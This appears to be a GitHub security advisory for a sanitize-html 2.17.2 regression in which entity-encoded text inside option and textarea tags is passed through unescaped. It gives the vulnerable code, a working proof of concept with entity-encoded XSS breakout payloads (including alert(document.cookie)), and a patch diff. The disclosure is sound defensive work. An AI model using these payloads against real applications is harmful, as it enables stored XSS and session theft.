GHSA-9mrh-v2v3-xpfm — sanitize-html

Summary

Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.

Details

The vulnerable code is at packages/sanitize-html/index.js:569-573:

} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
  // htmlparser2 does not decode entities inside raw text elements like
  // textarea and option. The text is already properly encoded, so pass
  // it through without additional escaping to avoid double-encoding.
  result += text;
}

The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:

const htmlparser2 = require('htmlparser2');
const parser = new htmlparser2.Parser({
  ontext(text) { console.log(JSON.stringify(text)); }
});
parser.write('<option>&lt;script&gt;</option>');
// Outputs: "<", "script", ">"  — entities are decoded

Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.

The execution flow:

1. Attacker submits: <option>&lt;img src=x onerror=alert(1)&gt;</option>
2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)>
3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true
4. Line 573: result += text — writes decoded text directly without escaping
5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags

The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.

Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.

PoC

Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.

Step 1: Basic tag injection via option

const sanitize = require('sanitize-html');
const output = sanitize(
  '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>',
  { allowedTags: ['option'] }
);
console.log(output);
// Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option>
// Actual (vulnerable): <option><script>alert(1)</script></option>

Step 2: Element breakout with XSS event handler

const output2 = sanitize(
  '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>',
  { allowedTags: ['option'] }
);
console.log(output2);
// Output: <option></option><img src=x onerror=alert(document.cookie)></option>
// The <img> tag escapes the option context and executes the onerror handler

Step 3: Textarea breakout (also vulnerable)

const output3 = sanitize(
  '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>',
  { allowedTags: ['textarea'] }
);
console.log(output3);
// Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>

Step 4: Full select/option context breakout

const output4 = sanitize(
  '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>',
  { allowedTags: ['select', 'option'] }
);
console.log(output4);
// Output: <select><option></option></select><img src=x onerror=alert(1)></option></select>
// Breaks out of both option and select elements

All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.

Impact

• Complete allowedTags bypass: Any HTML tag can be injected through an allowed option or textarea element using entity encoding, defeating the core security guarantee of sanitize-html.
• Stored XSS: Applications that sanitize user-submitted HTML and allow option or textarea tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting.
• Session hijacking: Attackers can inject event handlers (onerror, onload, etc.) to steal session cookies or authentication tokens.
• Scope: Affects non-default configurations only — the default allowedTags does not include option or textarea. However, these tags are commonly allowed in applications that handle form-related HTML content.

Recommended Fix

Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).

--- a/packages/sanitize-html/index.js
+++ b/packages/sanitize-html/index.js
@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {
         // your concern, don't allow them. The same is essentially true for style tags
         // which have their own collection of XSS vectors.
         result += text;
-      } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
-        // htmlparser2 does not decode entities inside raw text elements like
-        // textarea and option. The text is already properly encoded, so pass
-        // it through without additional escaping to avoid double-encoding.
-        result += text;
       } else if (!addedText) {
         const escaped = escapeHtml(text, false);
         if (options.textFilter) {

This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.